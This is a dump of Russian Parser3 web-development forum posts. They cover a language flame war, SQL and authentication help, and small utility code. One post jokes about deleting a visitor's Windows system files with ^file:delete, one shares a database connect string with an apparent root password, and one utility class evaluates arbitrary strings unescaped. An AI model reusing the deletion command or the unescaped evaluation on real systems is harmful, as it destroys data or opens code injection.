\
Александр, извиняюсь за навязчивость, проверьте пожалуйста ещё раз. Спасибо.\
\
WinXP Apache 1.3.27, Parser 3.1.4 CGI/Module with XML"
"37893","Я конечно понимаю, что аргументы вы только свои видите.. \
_НО_\
Когда вы придете в форум и скажите:\
\"Дяди.. а вто это я на парсере сделать не смог, потому что это он не может...\"\
Тогда будет нормальный разговор... А сейчас кажется что вы не знаете не парсера не других языков"
"37894","что именно у Вас не получается. И что не устраивает.\
Потому что Ваш флэйм безоснователен и пахнет примитивной невоспитанностью :(\
\
А слабо завалиться в ирландский паб ( можно в китайский или армянкий ресторан - это вопрос вкуса) и заорать там \"вы все козлы ! уроды! один я постиг истину, а вы недостойные поделия своих родителей\" ?\
\
Можете не отвечать.\
\
От себя скажу, что меня тоже далеко не все устраивает в Парсере, но я его использую и благодарен за него людям, которые его сделали и поделились с миром. \
\
З.Ы.\
\
www.prolugansk.com написан на PHP..."
"37896","по поводу сборки - какой версией gcc лучше сейчас собирать? Штатный 3.4.2 ругается на pa_stack.h..... \
gcc 3.2.3?"
"37897","Почему же \"аргументы вы только свои видите\".\
\
Просто не увидел ни одного \"за\", которое было хоть сколько-нибудь весомым. Прозвучало \"изящность кода\". Но, общаясь с парсером косвенно довольно продолжительное время (года 3), это не кажется аргументом.\
\
Я не говорю, что что-то сделать нельзя на парсере. Даже возьмусь утверждать, что почти все связанное с сайтостроением можно. Просто преимуществ нет. На мой взгляд, никаких. Минусов - хоть отбавляй. lol их выше перечислил.\
\
Я не говорю, что он не имеет право на существование. Ест-но имеет.\
\
Главная мысль, с которой и началась ветка - \"если ты начинающий сайтоделатель, то резона учить парсер нет никакого при наличии, скажем, php\"."
"37898","Зная парсер легко перейти н PHP и наоборот"
"37899","Насколько я понял, дискуссия по существу закончилась. Начался флейм и разборки на уровне \"а кто ты сам-то?\". Никто кроме киселя и AL'а мне по пунктам так ничего не ответил.\
\
Наверное, здесь кроме самих разработчиков Парсера и программистов-то нет. А разработчики Парсера в дискуссию, видно, вступать не хотят.\
\
До свидания."
"37900","ключевой вопрос: зачем?"
"37902","Абсолютно согласен с lol и с киселем.\
\
ЗЫ: А разработчики parser не отвечают из-за того, что им нужно держать марку, parser же их фирменная технология."
"37903","\"^math:crypt[password;salt] \
\
Хеширует password с учетом salt. \
\
Параметры: \
Ї password - исходная строка;  \
 \
Ї salt - строка, определяющая алгоритм хеширования и вносящая элемент случайности в результат хеширования, состоит из начала и тела. Начало определяет алгоритм хеширования, тело вносит элемент случайности. Если тело не будет указано, Parser сформирует случайное.  \"\
Дак вот меня интересует существует ли у этого статического медода(crypt класса math) такая строка чтобы хеширование не производилось или производилось бы с постоянным результатом для любой исходной строки. Я понимаю что это вряд ли возможно, но надежда умирает последней."
"37906","да, выглядит некрасиво.\
\
todo: подумать."
"37907","Хотел изучить парсер. Теперь что-то мучают сомнения... Все говорят - PHP лучше."
"37908","PR-акция на тройку с минусом. КГ\\АМ."
"37909","Блин, триллер целый.........\
А почему ^file:dirname[filespec] с такими \\ слешами не работает, приходится переворачивать вручную"
"37910","пытаюсь перекрыть htmlFormLogon и htmlFormLogout\
\
----------------\
@CLASS\
xauth\
@USE\
auth/auth.p\
@BASE\
auth\
\
@htmlFormLogon[params][_params]\
...\
\
@htmlFormLogout[params][_params]\
...\
\
----------------\
Логон работает, а вот лог-аут нет :(\
Походу дальше ^if($is_logon) не движется... $is_logon походу вообще неопределена.\
Что не так сделал? Чего не хватает? Как правильно?"
"37911","2. как создаете/используете объект?"
"37912","Жду срочно срочно осталось у меня теперь три недели. Буду очень рад!!!! а вот моё мыло <a href=:mailto:azat_mg@mail.ru>Срочно жду, спасибо!!!!</a>"
"37913","axauth.p:\
[code]\
@CLASS\
axauth\
@USE\
auth/auth.p\
@BASE\
auth\
\
@init[icookie_data;ilogon_data;iparams]\
^BASE:init[$icookie_data;$ilogon_data;$iparams]\
\
#####################################################################\
@htmlFormLogon[params][_params]\
$_params[^hash::create[$params]]\
 ...\
#End @htmlFormLogon[]\
\
#####################################################################\
@htmlFormLogout[params][_params]\
^if($is_logon){\
 ...\
#end @htmlFormLogout[][/code]\
\
в корневом auto.p:\
[code]\
@AuthLine[]\
^MAIN:pSQL.server{\
	$axauth[^axauth::init[$cookie:CLASS;$form:fields;$.csql[$MAIN:pSQL]]]\
	^if(def $form:[auth.logout] || def $form:[auth.logon]){\
		$response:location[http://${env:SERVER_NAME}^request:uri.match[\\?.*][]{}?^math:random(100)]\
	}\
	^auth.setExpireHeaders[]\
	^if(!$auth.is_logon){\
		^axauth:htmlFormLogon[$.target_url[$request:uri]]\
	}\
	^axauth:htmlFormLogout[$.target_url[$request:uri]]\
}\
# - End AuthLine[] ################################################################################[/code]\
\
В нужном.html`е: ^AuthLine[]\
\
Logon работает, Logout нет."
"37914","^auth.setExpireHeaders[] -> ^axauth.setExpireHeaders[]\
^axauth:htmlFormLogon[] -> ^axauth.htmlFormLogon[]\
^axauth:htmlFormLogout[] -> ^axauth.htmlFormLogout[]"
"37916","Ув. lol -- Ваше место в подростковом чате.\
Профессионализм заключается не в умении/неумении высказвать личное мнение о каких-либо языках, а в умении _применять_ \"инструменты\" и \"средства\" под стать задачи.\
А заказчику как правило без разницы, то \"на чем\" вы реализуете задачу -- ему важен срок-стоимость-результат и ничего более.\
В этом форуме обсуждают реализацию тех или иных задач при использовании parser -- судя по всему Вы это не понимаете, поэтому Ваше место в подростковом чате"
"37917","Как правильно написать Поиск подстроки с пробелом?\
[code]^str.pos[\" - \"][/code]"
"37919","У егорова статейка хорошая есть… [url=\"http://www.egoroff.spb.ru/opinions/19.html\"]Религиозные войны[/url] называется…\
\
:)"
"37920","Вроде бы ^if(def $form:submit){... должно помочь"
"37921","Пишу такой код:\
\
^connect[odbc://Driver={Microsoft Access Driver \
(*.mdb)}^;Dbq=E:\\WebServers\\home\\amsp\\www\\baza.mdb]{\
$news[^table::sql{select * from baza.table1}]\
}\
\
Браузер говорит:\
\
Unhandled Exception (Debug)\
driver implements API version 0x0009 not equal to 0x0008\
\\usr\\local\\parser3/parser3odbc.dll\
\
z:/home/amsp/www/mdb/index.html(15)\
\
\
Не подскажите в чем может быть проблема?"
"37923","От релоада не долно, сам проверь."
"37926","для текстов, теоретически, можно извратиться через XML include, там есть поддержка ftp.\
\
практически, нам это никогда не нужно было, сделано не было.\
\
на unix используйте тривиальный внешний скрипт, работающий через wget."
"37927","у вас драйвер новее чем требуется вашей версии парсера."
"37928",">А заказчику как правило без разницы, то \"на чем\" вы реализуете задачу -- ему важен срок-стоимость-результат и ничего более.\
\
А самому программисту?\
\
Лично я не вижу никаких преимуществ Парсера перед, например, PHP (с Java и .NET действительно сравнивать не стоит). Одни недостатки.\
\
OFF: я не хочу защищать lol'а, но все же напомню мысль, с которой начался топик:\
\
> ЖЕЛАЮЩИЕ ИЗУЧИТЬ ПАРСЕР, НЕ НАДО ДЕЛАТЬ ЭТОГО!!!\
\
и мысль, которой он закончился:\
\
> Есть такая народная мудрость: \"Умный учиться на чужих ошибках\". Я запостил это лишь для того, чтобы к нему прислушались новички, которые хотят повторить мою ошибку - угрохать бесценное время на изучение такой лабуды как Парсер."
"37929","[code]\
@crypt[password;salt_start;salt_body]\
^switch[$salt_body]{\
\
    ^case[constant]{\
#       в результате -- постоянная строка\
        $result[constant_string]\
    }\
\
    ^case[this]{\
#       в результате -- исходный password\
        $result[$password]\
    }\
\
    ^case[DEFAULT]{\
#       в результате -- нормальный хеш\
        $result[^math:crypt[$password;${salt_start}${salt_body}]]\
    }\
}\
\
[/code]\
\
?"
"37931","Сделал как у Миши таблицу со ссылками на группы, но не для пользователей, а для статей. Нужно вытащить корневые разделы и статьи. У Миши взял за основу:\
	SELECT\
		auser.auser_id,\
		auser.auser_type_id,\
		auser.name,\
		auser.email,\
		auser.is_published,\
		auser.rights,\
		auser.description\
	FROM\
		auser_to_auser,\
		auser\
	WHERE\
		auser_to_auser.auser_id = auser.auser_id AND\
		auser_to_auser.parent_id IN (^group_id.int(0)) AND\
		auser.auser_type_id = $USER_ID\
	ORDER BY\
		auser.name\
Как этот запрос можно переделать так, чтобы из таблицы (по примеру выше) auser брались записи которых нет в auser_to_auser? Или у меня уже крыша поехала? Можно такое средствами SQL сделать?\
Спасибо всем, кто не поленится ответить!!!!\
Как только доделаю сайт, то со всеми поделюсь трудностями (думаю уже статьи 3 смело можно писать)!!!"
"37932","Действительно, обновил Денвер и все заработало.\
\
Спасибо за совет."
"37934","Честно говоря, немного. Всё что я пытался изучить в доке так написано, что можно голову сломать. А на самом деле запрос выглядит очень даже мило. Помогите пжлста!!! Ну хоть название ключа или ещё чего-нить такого подскажите пжлста!!!"
"37935","You want to select all rows from table1 which don't exist in table 2?\
Example:\
table1.id = list(1, 2, 3, 4, 5)\
table2.id = list(1, 2, 5)\
You want to have 3 and 4 as the result cause they are not in table 2?\
Use the OUTER JOIN:\
SELECT table1.* FROM table1 LEFT JOIN table2 ON table1.id=table2.id WHERE table2.id IS NULL"
"37936","Ты мой герой!!!\
Ха :)!\
Большое спасибо за ответ и особенно за ссылку. Теперь буду знать, где подробно с комментариями смотреть !!!!!\
Ещё раз спасибо!"
"37937","Теперь узнал кучу новых методов. Блин, а уже почти всё сделал. Получается, что только несколько разделов будут по новому работать. Почти теперь уже закончил раздел Статьи. \"Статьи\" это даже не раздел - это организация данных в базе. Теперь этот раздел может быть \"Статьи\", \"ЧаВо\", \"Ссылки\", \"Файлы\", \"Обзоры\", \"Руководство\" и т.п. Короче говоря, он может быть всем, что нуждается в упорядочении данных (категоризации)!!! Подобного я пока ни у кого не видел, чтоб одним модулем, одним методом работать со всеми этими разделами. Может я конечно и не прав, а всего лишь испытываю эйфорию от сделанного (чайником во всём). Возможно то, что я сделал даже медленно работает, но результат ещё тот!!! Как минимум - не нужно в строке запроса тоскать категории и т.п. (articles.html?category=XXXX&article=XXXX&....). Везде пользователь будет видеть только xxx.html?id=XX и ничего кроме id обрабатываться не будет!!! Помоему здорово и без дыр. Нет ID значит нет, есть, то выводим. \
Вот ещё одна напасть. Не могу получить время работы кода. Ни пример из доки к Парсеру (Ошибка! неизвестный класс status), ни из lib.p (вообще никаких данных не выдает, а код выполняется) не работают. Может кто знает как получить заветные миллисекунды (или микросекунды)!!!!\
Ещё раз всем спасибо!!!!"
"37938","Вообщем я из базы данных в хэш скидываю данныы, но их необходимо отсортировать, причем по нескольким столбцам(т.е в случае равенства первого сортируем по второму и т.п.) \
Как это лучше сделать? Надо писать специальный метод сотрировки ?"
"37939","Теоретически, как благоприятней сделать корзину?\
Мой вариант:\
Cookie с значением uid. Таблица baskets, в ней хранятся данные: id, uid (идентификатор, соответствует значению в cookie), item (номер товара), coun (количество товара). При заходе в корзину, собираются записи из baskets с одним uid, собираются цены и названия товаров из другой таблицы items (соответственно по item из basket).\
Как вы думаете, намного ли будет загружаться БД MySQL с таким подходом в крупном магазине, подобному Озон'у ([url=\"http://www.ozon.ru\"]http://www.ozon.ru[/url])"
"37940","http://www.parser.ru/faq/lang/\
\
Самый последний вопрос ;)"
"37941","Это, кажется, единственный рациональный вариант. Здесь в работе сервера БД нет ничего специфичного."
"37942","Я считаю, что не важно сколько товаров в магазине. Важно, что пользователь покупает не всё :)\
В куке я храню \"идентификатор_товара:количество[;идентификатор_товара:количество[...]]\"\
В любой момент (и даже без перезагрузки страници) имею возможность по идентификатору удалить/добавить пару или изменить количество товара.\
В самый последний момент для всех товаров из списка беру цены и формирую заказ.\
Заказ кладу в базу вместе с ценами (чтобы изменение цены не сказалось на покупателе) и чищу куку.\
\
P.S.: Есть готовый набор функций на JavaScript для этих действий.\
\
UPD: Данный подход позволяет избедать мусора в БД, если заказ небыл оформлен."
"37943","При таком раскладе много товаров в корзину не положишь.\
Мне кажется можно сделать следующее, в куку закинуть сессионный uid\
по которому идентифицировать пользователя.\
Все его выборки сохранять в хешфайл, скажем на час-два.\
\
Товаров в этом случае может быть сколь угодно много, куки не засоряются, т.к. они сессионные. Если пользователь в течении часа зарегистрируется чтобы оплатить товар, можно легко перенести данные из хешфайла в базу данных.\
\
Всё легко и просто. :)"
"37944","Спасибо я так и сделаю."
"37945","http://www.parser.ru/examples/antiflood/\
\
P.S. код не проверял, возможны ошибки."
"37946","А если у меня Хэш в Хэше?"
"37947","Да хватит препираться и заваливать форум своим флеймом! Здесь всем и так ясно, что Parser - любительская технология, сравнивать которую с .net и PHP просто некорректно."
"37948","Требуется создать возможность для изменения или удаления пользователем ранее введённых им же данных.\
Планируется следующее решение.\
1. При первом добавлении данных юзер придумывает и вводит пароль для дальнейшего входа.\
2. После занесения записи юзеру выводится ID его только что добавленной записи. ID выбирается по введённому паролю и далее будет использоваться в качестве логина.\
3. Всё. При желании изменить данные, юзер вводит ID + пароль и получает свои данные.\
4. По столбцу пароля в таблице нужно указать \"Уникальное значение\".\
\
Собственно вопрос. Не ожидают ли меня при такой реализации какие-либо непредвиденные подлянки и камни подводные?"
"37952","Я пишу службу знакомств для закрепления знаний, так сказать. Так что от одного юзера может быть только один пост. Хотя никто не мешает ему запостить кучу постов, но уже под другим \"соискателем\"."
"37954","ну вы парни хакеры :))\
Забавно будет, когда вы ко мне на сайт зайдете, а я вам функцию передам: ^file:delete[c:\\windows\\...] %))) \
вот смеху то будет )"
"37956","Мы с добрыми намерениями"
"37957","Да... уж....\
Конечно такого сделать нельзя! С точки зрения безопасности... придётся что-то другое придумывать!\
\
Может действительно делать это через архив... только я вот не вкурсе, как его распаковать на сервере? (чтоб он сам это сделал)"
"37958","Машина 1,8 ГГц, ОС - Вынь, Комплект Дэнвер!!! Локальная машина.\
Вот ещё одна напасть. Не могу получить время работы кода. Ни пример из доки к Парсеру (Ошибка! неизвестный класс status), ни из lib.p (вообще никаких данных не выдает, а код выполняется) не работают. Может кто знает как получить заветные миллисекунды (или микросекунды)!!!!\
Всем спасибо!!!!"
"37959","версия + cgi/isapi/mod_parser?"
"37960","ApacheModuleParser3.dll с версией затрудняюсь помоему та, что до декабрьского выпуска (3.1.3)."
"37961","Интересует сравнение производительности Парсера и PHP"
"37962","добавьте в ваш VirtualHost директиву\
[code]ParserStatusAllowed[/code]\
без параметров. вижу, в документацию это не попало."
"37975","Спасибо за ответ. \
Работает. А для cgi как сделать? Там ведь нет доступа к конфигам сервера!!!"
"37978","[code]\
@foreach[h;key;value;code;order_direction][tkey]\
$tkey[^h._keys[]]\
^tkey.sort{$tkey.key}[^if(def $order_direction){$order_direction}{asc}]\
^tkey.menu{\
	$caller.$key[$tkey.key]\
	$caller.$value[$h.[$tkey.key]]\
	$code\
}\
\
Пример вызова: \
^foreach[$myhash;k;v]{\
	key = $k\
	value = \
	[b]^if($v is hash){\
		^foreach[$myhash;k;v]{...}\
	}{$v}[/b]\
}[desc]\
[/code]"
"37980","[code]<input type=\"hidden\" name=\"do\" value=\"do\" />[/code]\
Нужна ли эта строка в одностраничной форме?\
\
я бы использовал action из\
\
[code]<input type=\"submit\" name=\"action\" value=\"Отправить\" />[/code]\
\
Ведь тогда будет доступна переменная $form:action со значением \"Отправить\". Так как, по сути, для нас она булева (или есть или нет), то ^if(def $form:action){код} будет то же самое, что и перехват $form:do. Он кстати, так и происходит - ^if(def $form:do){код}.\
\
Или это как-то противоречит стандартам? Мне кажется, что такой вариант логичнее и пока работал на всех браузерах, на которых я тестировал. Насколько я понимаю, submit - такой же элемент формы, как и hidden/input."
"37981","исключительно для того чтобы правильно срабатывал сабмит по клавише enter. Если его убрать, то работать не будет. Об этом написано тут:\
http://www.parser.ru/examples/feedback/"
"37982","...однако у меня добавлять do и анализировать именно по ней уже вошло в привычку, т.к. она бывает нужна:\
- для поисков (text + submit, чтобы искалось по enter-у)\
- при выводе submit в виде изображения (надо анализировать .x или .y). а я не знаю как будут показывать submit в очередном проекте т.к. выдаю xml для построения форм, и знаю лишь то, что hidden-ы попадут в результирующий html 100%.\
\
мне не кажется что в данном случае стоит экономить 20 байт и добавлять ручной работы (вместо copy/paste простого и отлаженного механизма)."
"37984","Единственный минус - возможность зафлудить хэшфайл."
"37986","Вообщем я делаю выборку из БД в Хаш оф Хаш\
вот код\
 ^connect[$connect_string]{\
    $hash_table[^hash::sql{SELECT * \
              FROM {Имя таблицы} \
              ORDER BY {по каким полям сортирую} DESC\
       \
    }]  \
  }\
\
Ошибки не выдает но выборка получаеться без учета сортировки, как эт оможно попрваить"
"37987","Используйте table. Или приводите хеш к table и сортируйте парсером (если надо). Читайте доку и faq."
"37988","В поле, по которому Вы сортируете числовые значения?\
И насколько я помню, после ORDER BY может быть только одно поле."
"37990","решилось без пересборки  -  при использовании [url=\"http://www.egoroff.spb.ru/portfolio/download/\"]комплекта от Александра Егорова[/url] проблема не проявляется."
"37991","Если можно несколько полей, тогда такой вопрос:\
например сортируем по id на убывание. Предположим есть поле price.\
... ORDER BY id, price DESC ... в чем смысл добавления price?"
"37992","а если\
ORDER BY date DESC, price DESC\
то смысл уже будет"
"37993","У нас та же проблема была (http://www.parser.ru/forum/?id=36191). Щас поставили от Егорова -- работает нормально. Спасибо всем :-)"
"37995","запрос вида:\
\
[code]\
select original, gruppa from table where lol = '0' and sovm2 like '%32402%' or original2 like '%32402%' and naim like '%gas%';\
[/code]\
\
последний like игнорируется и выводятся строки которые не содержат gas.... Почему так происходит и возможно ли это исправить?"
"37997","если раньше мы могли [url=\"http://www.parser.ru/examples/cache/\"]скешировать[/url] \"статическую\" страницу с формой ввода сообщения, теперь это становится проблематичнее."
"37998","[color=\"#ff0000\"]5 часов![/color] потратил на чтение форума, но так и остался без конкретного ответа.\
Parser [b]очень удобный язык[/b] программирования сайтов, но есть моменты, из-за которых\
приходиться обращаться к администраторам хостов. А для них, мы все ламеры и чайники.\
Не смотря на то, что живут благодаря нам.\
Раз уж Parser может работать с СУБД, то почему нельзя доработать его своей библиотекой\
обращения к ней? Может драйвер какой, перепрограммирующий запросы в аналог понятный базе...\
или возможность установить этот приславутый libmysqlclient.so где-то в личном веб-пространстве,\
типа /cgi-bin/lib/\
Не знаю, может я и впрямь полный ламер.... :) но вы то там крутые программеры, неужели ничего\
нельзя придумать? \
Спасибо."
"37999","в auto.p в conf к нему можно указать полный дисковый путь."
"38000","Осталось мелочь, где его взять? :)"
"38002","Да, если трезв....\
Так есть где скачать ее под FreeBSD?\
Нашел Админа, обматерил, он мне дал такие пути:\
/usr/local/mysql-standard-4.0.17-unknown-freebsd4.7-i386/lib/libmysqlclient.a\
/usr/local/mysql-standard-4.0.17-unknown-freebsd4.7-i386/lib/libmysqlclient_r.a\
Но говорит, \"У меня MYSQL бинарный!\"\
Что делать?"
"38003","Давайте оговорим какие тесты надо провести.\
Готов активно поучаствовать."
"38004","Предлагаю провести тесты:\
1) По работе с файлами\
2) По математическим расчетам\
3) По работе с базой данных (хотя тут, я думаю, вся нагрузка ляжет на СУБД)\
4) По работе с XML\
5) По работе с регулярными выражениями"
"38005","хотя может у него есть второй параметр intention? \
вызывать так:\
^file:delete[/filename;good]"
"38006","не вся нагрузка ляжет на БД, если тестировать специфические выборки, типа hash, hash of hash, или hash of table."
"38007","то можно попробовать dhtml'ом побаловаться:\
на странице есть одни input type=\"file\"\
выбираем файл (увы только по одному)\
файл записывается в другую форму или массив\
так, пока не надоест файлы грузить (перезагрузки страницы не происходит)\
эмем ок и циклом перебираем все записанные значения, джава скриптом имитируем на странице множество input type=\"file\" с рзаными именами и загружаем туда значения из нашего массива. субмитим форму и принимаем на сервер столько файлов, сколько нужно.\
\
Все это не проверялось, и даже толком не обдумывалось всерьез... \
Если это работает (как-нить попробую) то обязательно нужно усовершенствовать, жутко не удобно..."
"38008","Не. Спасибо. Всё получилось. Всё работает, но это же я по Вынь делаю!!! А под реальным хостингом с cgi скриптом всё нормально будет?"
"38009","подскажите, есть ли разница в производительности и затрате ресурсов при использовании метода все в одном, \
или когда раскидано по нескольким методам...\
например,\
[code]\
@summa[][a;b]\
$a(2)\
$b(2)\
^eval($a+$b)\
[/code]\
\
или так:\
[code]\
@data[][a;b]\
$a(2)\
$b(2)\
^summa[a;b]\
\
@summa[a;b]\
^eval($a+$b)\
[/code]\
\
это конечно простейший пример, но ведь во втором примере мы дополнительно тратим время и ресурсы на передачу параметров, вызов метода..."
"38010","если вынесение кода улучшает структурируемость/читаемость кода - выносите часть в отдельный метод."
"38011","может вы и правы... просто привык все делать аккуратно. :-)"
"38014","Класс h2s предназначен для преобразования строки в хеш и обратно.\
В общем, в нем универсален один метод - @s2h[], у меня в проектах он используется по 20-50 раз - в основном для удобной работы с множествами.\
Сравните: \
$permissions[\
   $.editor(1) \
   $.user(1) \
   $.manager(1) \
   $.seller(1)\
] \
и \
$permissions[^s2h[editor user manager seller]]\
\
Методы @s2h и @h2o - обратны друг другу, также как @h2s и @createh\
Последние два неплохо расширяют класс hashfile. Хотя и вряд ли когда понадобятся, мне пригодились лишь однажды - для работы с \
промежуточными диагностическими данными в diagnos.ru\
[code]\
@CLASS\
h2s\
\
#string like \"$.[$.a(1)$.b[c]]\" -> hash. Usage: $my_hash[^h2s:createh[$that_string]]\
@createh[str]\
^process{^taint[as-is; ^$hash_^[$str^] ]}\
$result[^if($hash_ is hash){$hash_}{^hash::create[]}] \
\
#hash to option. Usage: ^h2s:h2o[$my_hash]\
@h2o[hash_;div]\
$result[^hash_.foreach[k;v]{$k}[^if(def $div){$div}{ }]]\
\
#option-like string to hash. Usage: $my_option_hash[^h2s:s2h[one|two|three;|]]\
@s2h[str;div][tmp;tmpt;str1]\
^if(!def $div){$div[ ]}\
^if($str is hash){$result[$str]}{\
  $tmp[^str.split[$div;v]]\
  $tmph[^tmp.menu{^if(def $tmp.piece){$.[$tmp.piece](1)}}]\
}\
$result[^if($tmph is hash){$tmph}{^hash::create[]}]\
\
#hash to string. That hash may have only string or number values!\
@h2s[hash1;level][tmp;hh]\
$hh(^level.int(0))  ^hh.inc(1)\
^hash1.foreach[k;v]{\
  ^if($v is hash){$tmp[^hash::create[$hash1.$k]] ^$.$k^[ ^h2s[$tmp;$hh] ]}{^$.$k^if($v is int || $v is double){($v)}{[$v]}}\
}\
[/code]"
"38015","А если не оплатили в течении какого-то времени, просто удалять из базы."
"38016","Для тех кто не знает как ставить этот бит.\
Объясняю.\
На примере ftp TotalCommander:\
1)Закачиваете parser3.cgi в нужный каталог на сервер.\
2)Выделяете этот файл (на сервере)\
3)Файл->Изменение атрибутов\
4)Ставьте галочки на атрибуте выполнение (executable), пока в поле не появится число 755.  -> OK\
5)Все атрибут установлен ))"
"38017","Я имею ввиду на сервере, в интернете.\
т.е. чтобы с помощью Parser я делал запросы SQL к файлам *.mdb (MSA).\
Такое возможно?"
"38018","у меня только одна претензия к парсеру - его низкая популярность. \
А вот, к примеру, движок некоего сайта на php весит 300кб, а на парсере - 45."
"38019","При попытке ввести пару логин/пароль, вылетает следующее:\
\
[code]out of memory: failed to allocate clean 50375 bytes. heap_used=23781376, heap_free=12288, bytes_since_gc=15212004, total_bytes=32130492[/code]\
\
Объясните, почему?"
"38021","возможно у вас было выставлено отображение большого количества тредов на страницу. после обновления парсера отображение указанного количества тредов не вписывается в установленый лимит памяти.\
\
способы устранения:\
1. зайти на английский форум, залогиниться там, зайти в профайл, поставить значение по умолчанию (пустое значение)\
2. mailbox@parser.ru или misha@design.ru"
"38022","http://www.parser.ru/forum/?limit=50&page=217\
ps Мне это не мешает, поэтому молчал."
"38023","Из-за чего в пятом уроке может быть ошибка в чом что класс не определён.Хотя вроде файл gbook.p(описывающий класс) находит."
"38025","проверь на отсутствие пробела после названия класса..."
"38026","[code]\
@sql[variable;code]\
^connect[mysql://root:admin2000@localhost/inrial]{$variable[^table::sql{$code}]}\
[/code]\
\
Поправьте, плиз, не пашет. Не пойму, что не так. На выходе должна быть variable с таблицей внутрях. То есть если вызвать ^sql[names;select names from users], то будет $names с соответствующими именами. Плясал с бубном вокруг self.variable - не помогло.\
\
А вообще интересно, как кто достаёт инфу из бд. Не всегда же писать:\
[code]\
^connect[mysql://host/base]{$var[^table::sql{SELECT * FROM table}]}\
[/code]\
\
ну или метод @db[] писать, куда вставлять:\
[code]\
^db{$var[^table::sql{SELECT * FROM table}]}\
[/code]"
"38027","Очень советую почитать пример «О переносимости SQL запросов», скачать класс и пользоваться :)\
\
В главном auto.p:\
\
[code]\
@USE\
mysql.p\
\
@auto[]\
$SQL.connect-string[mysql://login:password@host/database]\
$MAIN:oSQL[^mysql::init[$SQL.connect-string]]\
\
@main[]\
^MAIN:oSQL.server{\
# А здесь непосредственно генерируете страницу,\
# вызываете рызные методы, везде внутри ...server{}\
# можно будет писать работу с базой без коннекта:\
  ^void:sql{DELETE FROM [i]table_name[/i] WHERE [i]where_definition[/i]}\
  $variable[^table::sql{\
    SELECT\
      [i]select_expression[/i]\
    FROM\
      [i]table_name[/i]\
    WHERE\
      [i]where_definition[/i]\
  }]\
}\
[/code]"
"38028","[code]\
f:/home/localhost/www/xsl/default.xsl\
\
f:/home/localhost/www/xsl/default.xsl:2: I/O warning : failed to load external entity \"f:///home/localhost/www/xsl/dtd/entities.dtd\"\
<!DOCTYPE xsl:stylesheet SYSTEM \"dtd/entities.dtd\">\
                                                   ^\
I/O warning : failed to load external entity \"f:///home/localhost/www/xsl/common/layout.xsl\"\
compilation error: file f:/home/localhost/www/xsl/default.xsl line 10 element import\
xsl:import : unable to load f:///home/localhost/www/xsl/common/layout.xsl\
I/O warning : failed to load external entity \"f:///home/localhost/www/xsl/map.xsl\"\
compilation error: file f:/home/localhost/www/xsl/default.xsl line 11 element import\
xsl:import : unable to load f:///home/localhost/www/xsl/map.xsl\
f:/home/localhost/www/classes/operators/xml.p(6:19) \
transform	f:/home/localhost/www/classes/operators/xml.p(6:19) 	\
src	f:/home/localhost/www/classes/operators/xml.p(6:2) 	\
xmlTransformer	f:/home/localhost/www/classes/common/pclass/pclass.p(85:10) 	\
compact	f:/home/localhost/www/classes/common/pclass/pclass.p(85:2) 	\
html	f:/home/localhost/www/index.html(10:26) 	\
objPage	f:/home/localhost/www/index.html(10:10) 	\
_cPageHtml	f:/home/localhost/www/index.html(34:10) 	\
try	f:/home/localhost/www/index.html(16:2) 	\
content	f:/home/localhost/www/auto.p(52:10) 	\
body	f:/home/localhost/www/classes/common/db.p(15:28) 	\
connect	f:/home/localhost/www/classes/common/db.p(15:2) 	\
server	f:/home/localhost/www/auto.p(48:9)\
[/code]\
[b]В чем проблема?[/b]"
"38029","А может проще использовать уже любезно предостваленный Мишей класс авторизации? В запись соискателя писать id автора. При попытке редактировать сравнивать id залогиненного пользователя и id автора. если совпадает - давать права, нет - в сад. Неужели не проще?"
"38030","По-русски ведь сказано: failed to load :-))\
\
Проверьте пути ко всем подключаемым файлам. Конкретно в вашем случае: entities.dtd, layout.xsl, map.xsl."
"38031","Я не дурак и все проверил все правильно!"
"38032","Если сделано так:\
таблица baskets, та же, только ещё добавлена колонка title (название товар),\
то если не очищать старые записи, намного ли будет загружаться БД?\
P.S. Есть ли какое-то разумное ограничение в MySQL по колонкам? Т.е. не больше скольки лучше иметь в таблице?"
"38033","Если все разделы хранить в одной таблице SQL, то это в будущем будет сильно тормозить процессы выборки?\
Разделы: Новости, Статьи, Файлы, Ссылки, Форум. Если всё это в одной таблице и стоит только поле type (для каждого раздела свое значение), таблица разрастется. \
Лучше Форум вынести в отдельную БД или можно оставить так. Просто уж больно всё похоже по структуре. Жалко отдельные методы писать.\
Подскажите. Нужно авторитеное мнение."
"38034","Я подключил lib.p в auto.p и не могу понять как вызывать метод ^color[color1;color2]. Если есть возможость приведите кусок кода.\
[code]\
$test[^MAIN:pSQL.sql[table]{\
	select ...\
}]\
^test.menu{\
^color[#000000;#EEEEEE]\
}\
[/code]"
"38035","Предположение. У вас веб-корне лежит папка xsl. В ней находится default.xsl и папка common. В common лежит layout.xsl, map.xsl.\
\
У вас напсано в default.xsl:\
[code]<xsl:import href=\"[b]/xsl/[/b]common/layout.xsl\"/>[/code]\
\
А надо:\
[code]<xsl:import href=\"common/layout.xsl\"/>[/code]\
\
В XSLT пути относительные, абсолютные пути здесь идут через http."
"38037","Делаю\
^run_time[^outArt[5];vr_nm]\
$vr_nm.time\
\
Переменная ($vr_nm.time) всегда равна 0. В чем может быть дело. Или я не так получаю результат?\
Пожалуйста подскажите!!!"
"38040","Одна табличка по сравнению с пятью [i]теоретически[/i] должна выигрывать по скорости. Но. Фактически лучше все-таки их разделить, потому что кто знает, что вы придумаете завтра для форума, а послезавтра для новостей? У вас постепенно будут появляться поля, которые используются только для определенного раздела. Поэтому лучше сейчас, на начальном этапе, сделайте разные таблицы, чтобы потом не заниматься выделением из большой таблицы разных разделов в отдельный таблицы (рано или поздно). К тому же это просто логичней.\
\
А насчет написания отдельных методов. Раз уж так похожа структура, то и напишите один метод для обработки. Просто добавьте как аргумент тип раздела. В последствие, когда различия будут слишком сильными - просто перепишите методы под различные разделы."
"38041","Спасибо."
"38042","1. В том-то и дело, что я уже всё запихал в одну таблицу и почти всё дописал. Остался один форум блин. Тип я и так передаю, но конечно можно по нему ещё и таблицу менять. Эх, жизнь моя жестянка. Когда ж я допишу-то всё.\
2. Как форум похож?\
Статьи: Раздел, Подраздел, Статья\
Форум: Форум, Тема, Сообщения\
Что? Не логично?\
Открываем подраздел - список статей\
Открываем тему - список сообщений\
Тут просто могут быть варианты с выводом содержимого темы.\
Я хочу только заголовки выводить, а пользователь сможет динамически подгружать нужные ответы.\
Всё должно быть быстро и не загружено. \
Можно вообще 2 варианта вывода сделать, а пользователь решит сам, как ему удобнее.\
\
Когда всё доделаю поделюсь.\
Сейчас у меня так: \
\
files.html\
@body_main[]\
^outArtOrCat[5;- Категории -;- Файлы -] (пример для файлов)\
\
